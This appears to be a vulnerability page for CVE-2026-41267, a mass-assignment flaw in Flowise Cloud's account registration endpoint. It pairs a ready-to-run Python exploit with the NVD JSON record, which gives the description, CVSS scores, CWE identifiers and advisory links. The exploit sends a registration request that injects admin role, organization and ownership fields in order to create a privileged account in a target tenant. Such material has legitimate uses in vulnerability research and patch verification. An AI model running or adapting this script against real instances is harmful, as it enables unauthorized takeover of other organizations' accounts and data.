CVE-2026-41267

import requests # Target URL for the vulnerable registration endpoint target_url = "https://target-flowise-instance.com/api/v1/register" # Malicious payload exploiting mass assignment # Injecting server-managed fields to escalate privileges payload = { "email": "[email protected]", "password": "StrongPassword123!", "username": "hacker", # Vulnerable parameters: Overriding server-side logic "role": "admin", "organizationId": "target-company-uuid", "isOwner": True } try: # Sending the crafted registration request response = requests.post(target_url, json=payload) if response.status_code == 201 or response.status_code == 200: print("[+] Exploit successful! Privileged account created.") print(f"[+] Response body: {response.text}") else: print("[-] Request failed. Check if the instance is vulnerable.") print(f"[-] Status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-41267", "sourceIdentifier": "[email protected]", "published": "2026-04-23T20:16:15.160", "lastModified": "2026-04-24T15:14:48.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, an improper mass assignment (JSON injection) vulnerability in the account registration endpoint of Flowise Cloud allows unauthenticated attackers to inject server-managed fields and nested objects during account creation. This enables client-controlled manipulation of ownership metadata, timestamps, organization association, and role mappings, breaking trust boundaries in a multi-tenant environment. This vulnerability is fixed in 3.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}, {"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.1.0", "matchCriteriaId": "CB30DB8F-4F72-4FD3-90FB-8331F1CBB78E"}]}]}], "references": [{"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-48m6-ch88-55mj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-48m6-ch88-55mj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}